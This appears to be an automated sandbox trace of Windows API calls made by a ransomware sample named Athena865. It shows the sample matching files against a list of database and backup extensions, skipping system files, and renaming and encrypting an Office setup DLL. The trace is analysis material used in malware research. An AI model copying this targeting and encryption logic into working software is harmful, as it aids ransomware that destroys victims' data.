[0059.893] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0059.893] lstrlenW (lpString="db") returned 2 [0059.893] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0059.893] lstrlenW (lpString="db2") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0059.893] lstrlenW (lpString="db3") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0059.893] lstrlenW (lpString="dbf") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0059.893] lstrlenW (lpString="mdf") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0059.893] lstrlenW (lpString="mdb") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0059.893] lstrlenW (lpString="sql") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0059.893] lstrlenW (lpString="sqlite") returned 6 [0059.893] lstrcmpiW (lpString1="ui.dll", lpString2="sqlite") returned 1 [0059.893] lstrlenW (lpString="sqlite3") returned 7 [0059.893] lstrcmpiW (lpString1="pui.dll", lpString2="sqlite3") returned -1 [0059.893] lstrlenW (lpString="sqlitedb") returned 8 [0059.893] lstrcmpiW (lpString1="upui.dll", lpString2="sqlitedb") returned 1 [0059.893] lstrlenW (lpString="xml") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0059.893] lstrlenW (lpString="$er") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0059.893] lstrlenW (lpString="4dd") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0059.894] lstrlenW (lpString="4dl") returned 3 [0059.894] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0059.894] lstrlenW (lpString="^^^") returned 3 [0059.894] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0059.894] lstrlenW (lpString="abs") returned 3 [0059.894] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0059.894] lstrlenW (lpString="abx") returned 3 [0059.894] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0059.894] lstrlenW (lpString="accdb") returned 5 [0059.894] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0059.894] lstrlenW (lpString="accdc") returned 5 [0059.894] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0059.894] lstrlenW (lpString="accde") returned 5 [0059.894] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0059.894] lstrlenW (lpString="accdr") returned 5 [0059.894] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0059.894] lstrlenW (lpString="accdt") returned 5 [0059.894] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0059.894] lstrlenW (lpString="accdw") returned 5 [0059.894] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0059.894] lstrlenW (lpString="accft") returned 5 [0059.894] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0059.894] lstrlenW (lpString="adb") returned 3 [0059.894] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0059.894] lstrlenW (lpString="adb") returned 3 [0059.894] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0059.894] lstrlenW (lpString="ade") returned 3 [0059.894] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0059.894] lstrlenW (lpString="adf") returned 3 [0059.894] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0059.894] lstrlenW (lpString="adn") returned 3 [0059.894] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0059.894] lstrlenW (lpString="adp") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0059.895] lstrlenW (lpString="alf") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0059.895] lstrlenW (lpString="ask") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0059.895] lstrlenW (lpString="btr") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0059.895] lstrlenW (lpString="cat") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0059.895] lstrlenW (lpString="cdb") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0059.895] lstrlenW (lpString="ckp") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0059.895] lstrlenW (lpString="cma") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0059.895] lstrlenW (lpString="cpd") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0059.895] lstrlenW (lpString="dacpac") returned 6 [0059.895] lstrcmpiW (lpString1="ui.dll", lpString2="dacpac") returned 1 [0059.895] lstrlenW (lpString="dad") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0059.895] lstrlenW (lpString="dadiagrams") returned 10 [0059.895] lstrcmpiW (lpString1="etupui.dll", lpString2="dadiagrams") returned 1 [0059.895] lstrlenW (lpString="daschema") returned 8 [0059.895] lstrcmpiW (lpString1="upui.dll", lpString2="daschema") returned 1 [0059.895] lstrlenW (lpString="db-journal") returned 10 [0059.895] lstrcmpiW (lpString1="etupui.dll", lpString2="db-journal") returned 1 [0059.895] lstrlenW (lpString="db-shm") returned 6 [0059.895] lstrcmpiW (lpString1="ui.dll", lpString2="db-shm") returned 1 [0059.895] lstrlenW (lpString="db-wal") returned 6 [0059.895] lstrcmpiW (lpString1="ui.dll", lpString2="db-wal") returned 1 [0059.895] lstrlenW (lpString="dbc") returned 3 [0059.895] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0059.896] lstrlenW (lpString="dbs") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0059.896] lstrlenW (lpString="dbt") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0059.896] lstrlenW (lpString="dbv") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0059.896] lstrlenW (lpString="dbx") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0059.896] lstrlenW (lpString="dcb") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0059.896] lstrlenW (lpString="dct") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0059.896] lstrlenW (lpString="dcx") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0059.896] lstrlenW (lpString="ddl") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0059.896] lstrlenW (lpString="dlis") returned 4 [0059.896] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0059.896] lstrlenW (lpString="dp1") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0059.896] lstrlenW (lpString="dqy") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0059.896] lstrlenW (lpString="dsk") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0059.896] lstrlenW (lpString="dsn") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0059.896] lstrlenW (lpString="dtsx") returned 4 [0059.896] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0059.896] lstrlenW (lpString="dxl") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0059.896] lstrlenW (lpString="eco") returned 3 [0059.896] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0059.896] lstrlenW (lpString="ecx") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0059.897] lstrlenW (lpString="edb") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0059.897] lstrlenW (lpString="epim") returned 4 [0059.897] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0059.897] lstrlenW (lpString="fcd") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0059.897] lstrlenW (lpString="fdb") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0059.897] lstrlenW (lpString="fic") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0059.897] lstrlenW (lpString="flexolibrary") returned 12 [0059.897] lstrlenW (lpString="fm5") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0059.897] lstrlenW (lpString="fmp") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0059.897] lstrlenW (lpString="fmp12") returned 5 [0059.897] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0059.897] lstrlenW (lpString="fmpsl") returned 5 [0059.897] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0059.897] lstrlenW (lpString="fol") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0059.897] lstrlenW (lpString="fp3") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0059.897] lstrlenW (lpString="fp4") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0059.897] lstrlenW (lpString="fp5") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0059.897] lstrlenW (lpString="fp7") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0059.897] lstrlenW (lpString="fpt") returned 3 [0059.897] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0059.897] lstrlenW (lpString="frm") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0059.898] lstrlenW (lpString="gdb") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0059.898] lstrlenW (lpString="gdb") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0059.898] lstrlenW (lpString="grdb") returned 4 [0059.898] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0059.898] lstrlenW (lpString="gwi") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0059.898] lstrlenW (lpString="hdb") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0059.898] lstrlenW (lpString="his") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0059.898] lstrlenW (lpString="ib") returned 2 [0059.898] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0059.898] lstrlenW (lpString="idb") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0059.898] lstrlenW (lpString="ihx") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0059.898] lstrlenW (lpString="itdb") returned 4 [0059.898] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0059.898] lstrlenW (lpString="itw") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0059.898] lstrlenW (lpString="jet") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0059.898] lstrlenW (lpString="jtx") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0059.898] lstrlenW (lpString="kdb") returned 3 [0059.898] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0059.898] lstrlenW (lpString="kexi") returned 4 [0059.898] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0059.898] lstrlenW (lpString="kexic") returned 5 [0059.899] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0059.899] lstrlenW (lpString="kexis") returned 5 [0059.899] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0059.899] lstrlenW (lpString="lgc") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0059.899] lstrlenW (lpString="lwx") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0059.899] lstrlenW (lpString="maf") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0059.899] lstrlenW (lpString="maq") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0059.899] lstrlenW (lpString="mar") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0059.899] lstrlenW (lpString="marshal") returned 7 [0059.899] lstrcmpiW (lpString1="pui.dll", lpString2="marshal") returned 1 [0059.899] lstrlenW (lpString="mas") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0059.899] lstrlenW (lpString="mav") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0059.899] lstrlenW (lpString="maw") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0059.899] lstrlenW (lpString="mdbhtml") returned 7 [0059.899] lstrcmpiW (lpString1="pui.dll", lpString2="mdbhtml") returned 1 [0059.899] lstrlenW (lpString="mdn") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0059.899] lstrlenW (lpString="mdt") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0059.899] lstrlenW (lpString="mfd") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0059.899] lstrlenW (lpString="mpd") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0059.899] lstrlenW (lpString="mrg") returned 3 [0059.899] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0059.900] lstrlenW (lpString="mud") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0059.900] lstrlenW (lpString="mwb") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0059.900] lstrlenW (lpString="myd") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0059.900] lstrlenW (lpString="ndf") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0059.900] lstrlenW (lpString="nnt") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0059.900] lstrlenW (lpString="nrmlib") returned 6 [0059.900] lstrcmpiW (lpString1="ui.dll", lpString2="nrmlib") returned 1 [0059.900] lstrlenW (lpString="ns2") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0059.900] lstrlenW (lpString="ns3") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0059.900] lstrlenW (lpString="ns4") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0059.900] lstrlenW (lpString="nsf") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0059.900] lstrlenW (lpString="nv") returned 2 [0059.900] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0059.900] lstrlenW (lpString="nv2") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0059.900] lstrlenW (lpString="nwdb") returned 4 [0059.900] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0059.900] lstrlenW (lpString="nyf") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0059.900] lstrlenW (lpString="odb") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0059.900] lstrlenW (lpString="odb") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0059.900] lstrlenW (lpString="oqy") returned 3 [0059.900] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0059.901] lstrlenW (lpString="ora") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0059.901] lstrlenW (lpString="orx") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0059.901] lstrlenW (lpString="owc") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0059.901] lstrlenW (lpString="p96") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0059.901] lstrlenW (lpString="p97") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0059.901] lstrlenW (lpString="pan") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0059.901] lstrlenW (lpString="pdb") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0059.901] lstrlenW (lpString="pdm") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0059.901] lstrlenW (lpString="pnz") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0059.901] lstrlenW (lpString="qry") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0059.901] lstrlenW (lpString="qvd") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0059.901] lstrlenW (lpString="rbf") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0059.901] lstrlenW (lpString="rctd") returned 4 [0059.901] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0059.901] lstrlenW (lpString="rod") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0059.901] lstrlenW (lpString="rodx") returned 4 [0059.901] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0059.901] lstrlenW (lpString="rpd") returned 3 [0059.901] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0059.901] lstrlenW (lpString="rsd") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0059.902] lstrlenW (lpString="sas7bdat") returned 8 [0059.902] lstrcmpiW (lpString1="upui.dll", lpString2="sas7bdat") returned 1 [0059.902] lstrlenW (lpString="sbf") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0059.902] lstrlenW (lpString="scx") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0059.902] lstrlenW (lpString="sdb") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0059.902] lstrlenW (lpString="sdc") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0059.902] lstrlenW (lpString="sdf") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0059.902] lstrlenW (lpString="sis") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0059.902] lstrlenW (lpString="spq") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0059.902] lstrlenW (lpString="te") returned 2 [0059.902] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0059.902] lstrlenW (lpString="teacher") returned 7 [0059.902] lstrcmpiW (lpString1="pui.dll", lpString2="teacher") returned -1 [0059.902] lstrlenW (lpString="tmd") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0059.902] lstrlenW (lpString="tps") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0059.902] lstrlenW (lpString="trc") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0059.902] lstrlenW (lpString="trc") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0059.902] lstrlenW (lpString="trm") returned 3 [0059.902] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0059.902] lstrlenW (lpString="udb") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0059.903] lstrlenW (lpString="udl") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0059.903] lstrlenW (lpString="usr") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0059.903] lstrlenW (lpString="v12") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0059.903] lstrlenW (lpString="vis") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0059.903] lstrlenW (lpString="vpd") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0059.903] lstrlenW (lpString="vvv") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0059.903] lstrlenW (lpString="wdb") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0059.903] lstrlenW (lpString="wmdb") returned 4 [0059.903] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0059.903] lstrlenW (lpString="wrk") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0059.903] lstrlenW (lpString="xdb") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0059.903] lstrlenW (lpString="xld") returned 3 [0059.903] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0059.903] lstrlenW (lpString="xmlff") returned 5 [0059.903] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0059.903] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.Athena865") returned 85 [0059.903] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.athena865"), dwFlags=0x1) returned 1 [0059.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.904] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=191872) returned 1 [0059.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.905] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.905] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.905] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.905] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f080, lpName=0x0) returned 0x154 [0059.911] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f080) returned 0x170000 [0059.940] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.941] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.941] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.941] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0059.943] CloseHandle (hObject=0x154) returned 1 [0059.943] CloseHandle (hObject=0x17c) returned 1 [0059.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.944] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0059.944] lstrcmpiW (lpString1="pss10r.chm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2=".") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="..") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="windows") returned -1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="bootmgr") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="temp") returned -1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="pagefile.sys") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="boot") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="ids.txt") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="ntuser.dat") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="perflogs") returned 1 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2="MSBuild") returned 1 [0059.945] lstrlenW (lpString="pss10r.chm") returned 10 [0059.945] lstrcpyW (in: lpString1=0x241e8c6, lpString2="pss10r.chm" | out: lpString1="pss10r.chm") returned="pss10r.chm" [0059.945] lstrlenW (lpString="pss10r.chm") returned 10 [0059.945] lstrlenW (lpString="Athena865") returned 9 [0059.945] lstrcmpiW (lpString1="ss10r.chm", lpString2="Athena865") returned 1 [0059.945] lstrlenW (lpString=".dll") returned 4 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2=".dll") returned 1 [0059.945] lstrlenW (lpString=".lnk") returned 4 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2=".lnk") returned 1 [0059.945] lstrlenW (lpString=".ini") returned 4 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2=".ini") returned 1 [0059.945] lstrlenW (lpString=".sys") returned 4 [0059.945] lstrcmpiW (lpString1="pss10r.chm", lpString2=".sys") returned 1 [0059.945] lstrlenW (lpString="pss10r.chm") returned 10 [0059.945] lstrlenW (lpString="bak") returned 3 [0059.945] lstrcmpiW (lpString1="chm", lpString2="bak") returned 1 [0059.945] lstrlenW (lpString="ba_") returned 3 [0059.945] lstrcmpiW (lpString1="chm", lpString2="ba_") returned 1 [0059.945] lstrlenW (lpString="dbb") returned 3 [0059.945] lstrcmpiW (lpString1="chm", lpString2="dbb") returned -1 [0059.945] lstrlenW (lpString="vmdk") returned 4 [0059.946] lstrcmpiW (lpString1=".chm", lpString2="vmdk") returned -1 [0059.946] 